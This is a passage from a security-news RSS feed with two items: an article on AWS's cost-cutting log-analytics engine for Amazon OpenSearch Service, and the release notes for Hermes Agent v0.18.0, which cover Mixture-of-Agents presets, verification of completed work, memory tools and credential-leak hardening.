<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AWS is offering to help enterprises address the growing cost of retaining telemetry for talkative AI applications with a new engine for its managed Amazon OpenSearch Service optimized for log analytics, which it claims can reduce storage costs by 70% and at the same time deliver better price-performance.</p>



<p>AI and agentic applications are generating more telemetry than conventional <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> architectures were built to manage economically, forcing enterprises to balance retaining the operational data needed for security, compliance and incident response against rising related infrastructure costs.</p>



<p>The new engine will allow customers to continue using the same management console, APIs, security model and networking configuration as the service’s existing general-purpose engine, while storing data in <a href="https://www.infoworld.com/article/2239007/apache-parquet-paves-the-way-towards-better-hadoop-data-storage.html">Apache Parquet</a> format and maintaining <a href="https://www.infoworld.com/article/2162280/the-lucene-search-engine-powerful-flexible-and-free.html">Lucene</a> search indexes for searchable fields, AWS said.</p>



<p>It uses Apache Calcite to parse and optimize queries before routing analytical operations to <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Apache DataFusion</a> and search predicates to Lucene, allowing search and analytical aggregation to run within the same query, AWS executives wrote in a blog post.</p>



<p>The optimized engine supports SQL and Piped Processing Language (PPL), they said.</p>



<h2 class="wp-block-heading">Keeping costs down without losing detail</h2>



<p>In a recent survey of enterprises’ log management practices, Dynatrace found that AI workloads drove a 93% increase in log volume over the previous year, organizations to exclude an average of 86% of log data to manage costs and system capacity.</p>



<p>“Managing growing log volumes while keeping the cost almost flat is a persistent challenge that enterprises share,” said <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research.</p>



<p>“Most end up dropping retention windows or sampling logs, which is exactly when you lose the data you need for unanticipated incidents,” he said.</p>



<p><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, said AI agents have broken the math behind general purpose OpenSearch: “Constant background queries from agents touching logs didn’t fit the cost and performance assumptions baked into the original engine. The bill got too big. Enterprises started going blind on purpose.”</p>



<p>But the new AWS engine could help, said HyperFrame Research AI stack analyst <a href="https://www.linkedin.com/in/slwalter/" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, even if users realize only some of the gains that AWS promises.</p>



<p>“Lower storage costs can translate into longer retention periods, better compliance support, and more complete incident investigations,” Walter said.</p>



<p>Cheaper retention could also help CIOs curb tool sprawl as it reduces the incentive to fragment observability tooling across vendors purely for cost arbitrage, according to Bellamkonda. “Tool sprawl carries its own tax: integration overhead, headcount to maintain five dashboards instead of one,” he said.</p>



<h2 class="wp-block-heading">Migration and compatibility could temper adoption</h2>



<p>However, the analysts cautioned that realizing those benefits may require more work than AWS’s emphasis on compatibility initially suggests.</p>



<p>“AWS states that the optimized engine can’t be added to an existing domain and can’t be enabled on individual indices within a general-purpose domain. Adoption means standing up a new domain and migrating ingestion pipelines to it, making the transition more involved for engineering teams than a simple lift-and-shift,” Bellamkonda said.</p>



<p>Another point against the new engine, according to Chaturvedi, is its lack of support for Domain Specific Language (DSL).</p>



<p>This means that enterprises with existing OpenSearch deployments built around DSL queries or workloads that need frequent updates may need to rewrite dashboards, alerts and automation workflows before moving to the optimized engine, potentially extending migration timelines, Chaturvedi said.</p>



<p>Those implementation considerations are likely to influence the pace of adoption of the new engine more than the technology behind it, Bellamkonda said: “Migration friction, not cost, usually keeps enterprises on infrastructure they’ve outgrown.”</p>



<p>“AWS lowered the friction inside the migration by supporting ingestion through the same Bulk API and client libraries, which means no changes to ingestion pipelines or application code. However, it didn’t remove the migration entirely,” he said. The new optimized engine for Amazon OpenSearch Service has been made generally available.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]></title>
<description><![CDATA[Hermes Agent v0.18.0 (v2026.7.1)
Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all...]]></description>
<link>https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</guid>
<pubDate>Wed, 01 Jul 2026 22:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.0 (v2026.7.1)</h1>
<p><strong>Release Date:</strong> July 1, 2026<br>
<strong>Since v0.17.0:</strong> ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · <strong>949 issues closed</strong> · <strong>370+ community contributors</strong></p>
<blockquote>
<p><strong>The Judgment Release.</strong> Over the last week and a half the team put nearly all of its effort into one goal: resolve <strong>every P0 and P1 issue and PR in the entire Hermes Agent repo</strong> — and as of this release, <strong>100% of them are closed.</strong> Zero open P0s. Zero open P1s. That's <strong>~700 highest-priority items</strong> cleared as part of <strong>~1,950 total issues and PRs closed</strong> this window. We intend to keep P0/P1 at zero from here on.</p>
<p>On top of that clean-sweep, v0.18.0 is about how <em>well</em> Hermes thinks and how it <em>knows when its work is actually done</em>. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, <code>/goal</code> gained completion contracts, and <code>/learn</code> + <code>/journey</code> turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.</p>
</blockquote>
<h2>🎯 The P0/P1 Clean Sweep — 100% resolved</h2>
<p>This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:</p>
<table>
<thead>
<tr>
<th>Priority</th>
<th>Issues closed</th>
<th>PRs merged</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P0</strong> (critical)</td>
<td>3</td>
<td>8</td>
</tr>
<tr>
<td><strong>P1</strong> (high)</td>
<td>493</td>
<td>188</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>496</strong></td>
<td><strong>196</strong></td>
</tr>
</tbody>
</table>
<p>That's <strong>~692 highest-priority items resolved</strong> in twelve days — and at the moment the sweep completed, the open P0/P1 count hit <strong>0 across the entire repo.</strong> The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785584067" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56391" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/56391/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/56391">#56391</a>) and its fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785996667" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56416/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56416">#56416</a>), closed on an all-nighter right before this release cut.</p>
<p>Special shoutout to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong>, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.</p>
<p>We're keeping P0/P1 at <strong>0</strong> from here forward. 🫡</p>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Mixture-of-Agents is now a first-class model you can pick</strong> — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a <code>moa</code> provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>See every model's reasoning, then watch the answer stream in</strong> — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The agent verifies its own work — "done" means proven, not claimed</strong> — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. <code>/goal</code> gained <strong>completion contracts</strong>: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a <code>pre_verify</code> hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong><code>/learn</code> — turn anything into a reusable skill by describing it</strong> — Run <code>/learn &lt;anything&gt;</code> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/journey</code> — a playable timeline of everything Hermes has learned about you</strong> — The CLI and TUI gained <code>/journey</code>, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new <strong>memory graph</strong> (a top-down, playable radial timeline of memories and skills) and for the first time you can actually <em>see</em> what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Delegate a pile of work and keep going — background fan-out</strong> — <code>delegate_task</code> can now fan out multiple subagents that all run in the <strong>background</strong>: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>First-class coding Projects in the desktop app</strong> — The desktop app gained real, per-profile <strong>Projects</strong> — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper <code>project → repo → lane</code> model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Run Hermes at scale — scale-to-zero and drain coordination</strong> — The gateway can now go <strong>dormant when idle</strong> and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Cheaper self-improvement — smarter background review</strong> — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compose your next prompt in your editor — <code>/prompt</code></strong> — <code>/prompt</code> opens your <code>$EDITOR</code> so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (<a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Google Vertex AI — Gemini through your GCP service account, no static key</strong> — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</p>
</li>
<li>
<p><strong>Security round</strong> — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron <code>base_url</code> overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (<code>xapp-</code>) token redaction, a browser cloud-metadata floor enforced on every backend, and an <code>aiohttp</code> CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Mixture-of-Agents (MoA)</h2>
<p>MoA graduated from a mode to a first-class part of the model system this window.</p>
<ul>
<li><strong>Presets as selectable virtual models</strong> — each named MoA preset appears as a model under provider <code>moa</code>; pick it in any model picker and Hermes routes through the ensemble (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53775/hovercard">#53775</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/moa</code> is now one-shot sugar</strong> — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Reference-model output shown as labelled blocks</strong> in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Aggregator response streams live</strong> instead of appearing whole after a silence (<a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>References see full tool state and fire on every user/tool response</strong>; advisory references end on a user turn and get a reference-role system prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/54016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54016/hovercard">#54016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54007/hovercard">#54007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Opt-in full-turn trace persistence to JSONL</strong> (<code>moa.save_traces</code>) for debugging and eval (<a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (<a href="https://github.com/NousResearch/hermes-agent/pull/53580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53580/hovercard">#53580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53780/hovercard">#53780</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53827" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53827/hovercard">#53827</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53281" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53281/hovercard">#53281</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53275/hovercard">#53275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53556/hovercard">#53556</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA slot provider-identity unified on the single <code>call_llm</code> chokepoint; HermesBench results documented (<a href="https://github.com/NousResearch/hermes-agent/pull/55991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55991/hovercard">#55991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53206/hovercard">#53206</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>✅ Verification &amp; Goals — the agent proves its work</h2>
<ul>
<li><strong>Completion contracts for <code>/goal</code></strong> — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/goal wait &lt;pid&gt;</code></strong> — park the standing-goal loop on a background process instead of re-poking the agent (<a href="https://github.com/NousResearch/hermes-agent/pull/50503" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50503/hovercard">#50503</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Coding verification evidence ledger</strong> — profile-scoped record of canonical project checks detected by <code>agent.coding_context</code>; gateway exposes verification status (<a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52286/hovercard">#52286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong><code>pre_verify</code> hook + coding guidance config</strong>; verification stop loop + ad-hoc verification scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52296/hovercard">#52296</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52297/hovercard">#52297</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
